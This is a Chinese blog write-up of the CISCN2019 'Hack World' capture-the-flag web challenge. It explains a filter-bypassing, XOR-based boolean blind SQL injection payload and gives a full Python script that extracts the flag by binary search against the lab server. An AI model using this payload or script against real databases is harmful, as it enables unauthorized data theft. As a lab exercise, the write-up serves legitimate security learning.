zoukankan      html  css  js  c++  java
  • [CISCN2019 华北赛区 Day2 Web1]Hack World 1详解

    打开题目,

    我们开始尝试注入,

    输入0回显Error Occured When Fetch Result.

    输入1回显Hello, glzjin wants a girlfriend.

    输入2回显Do you want to be my girlfriend?

    输入大于2的数回显:Error Occured When Fetch Result.

    但是有趣的是,我们输入1/1结果回显了Hello, glzjin wants a girlfriend.

    于是我们判断它是数字型注入

    然后我们继续测试,发现过滤了很多关键字 如:or  、 union、and等,但是没有过滤()于是我们可以使用很多函数

    在这里我们使用bool(false)盲注,而且用到了异或,这东西相当于or的用法

    0^0  //false

    0^1  //true

    于是构造payload: 0^(ascii(substr((select(flag)from(flag)),1,1))>0)

    然后我们通过burpsuite发包,结果回显正常

     于是我们就开始写exp: 这里读了大佬的脚本,我读了半天才读懂,希望可以给大家带来的新的知识吧

    import requests
    import time
    url="http://bb9b367b-6928-4c66-b0d3-17a1ae3376f4.node3.buuoj.cn/index.php"
    payload = {
    	"id" : ""
    }
    result = ""
    for i in range(1,100):
    	l = 33
    	r =130
    	mid = (l+r)>>1
    	while(l<r):
    		payload["id"] = "0^" + "(ascii(substr((select(flag)from(flag)),{0},1))>{1})".format(i,mid)
    		html = requests.post(url,data=payload)
    		if "Hello" in html.text:
    			l = mid+1
    		else:
    			r = mid
    		mid = (l+r)>>1
    	if(chr(mid)==" "):
    		break
    	result = result + chr(mid)
    	print(result)
    print("flag: " ,result)
    

      

    python一定要注意段落缩进,我跑了半天说我缩进有问题,我也是服了,也是自己不知道python的语言规则吧,吃一堑长一智。

    然后我们就可以跑出flag了。

    也是看了很久大佬的wp才学会这样玩,真舒服。继续加油吧

  • 相关阅读:
    关于:HTTP Header -> Content-Type: text/plain Cache-Control: no-cache IE浏览器弹出错误下载对话
    Linux 基础入门
    Java 并发——多线程基础
    JavaScript面向对象
    理解JavaScript的定时器与回调机制
    理解领域模型
    邮件协议基础知识
    Java NIO 学习笔记
    Java Socket 学习笔记
    HTTP协议基础与实验
  • 原文地址:https://www.cnblogs.com/junlebao/p/13825411.html
Copyright © 2011-2022 走看看